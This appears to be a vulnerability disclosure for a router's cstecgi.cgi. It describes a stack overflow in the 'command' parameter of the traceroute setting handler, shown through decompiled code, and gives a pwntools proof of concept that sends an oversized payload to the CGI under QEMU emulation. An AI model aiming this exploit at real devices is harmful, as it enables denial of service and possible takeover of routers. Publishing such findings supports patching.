

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041cc88 (at address 0x41cc88) gets the JSON parameter command, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
🙀 Decompile: FUN_0041cc88 - (cstecgi.cgi)
 2 undefined4 FUN_0041cc88(undefined4 param_1)
 3
4 {
    undefined4 uVar1;
 5
    char *__nptr;
 6
 7
    int iVar2;
   char acStack152 [128];
   int local_18 [3];
9
10
     memset(acStack152,0,0x80);
11
    uVar1 = websGetVar(param_1,"command","www.baidu.com");
12
13
      __nptr = (char *)websGetVar(param_1,"num","");
14
    local_18[0] = atoi(__nptr);
15
    apmib_set(0x487d,local_18);
16
   iVar2 = Validity_check(uVar1);
17
   if (iVar2 == 0) {
      sprintf(acStack152, "traceroute -m %d %s&>/var/log/traceRouteLog",local_18[0],uVar1);
18
     system(acStack152);
19
20
   FUN_00423e98("0","reserv");
21
   return 1;
22
```

PoC

```
from pwn import *
import json
data = {
    "topicurl": "setting/setTracerouteCfg",
    "command": "A"*0x400,
    "num": "0"
}
data = json.dumps(data)
print(data)
argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]
a = process(argv=argv)
a.sendline(data.encode())
a.interactive()
```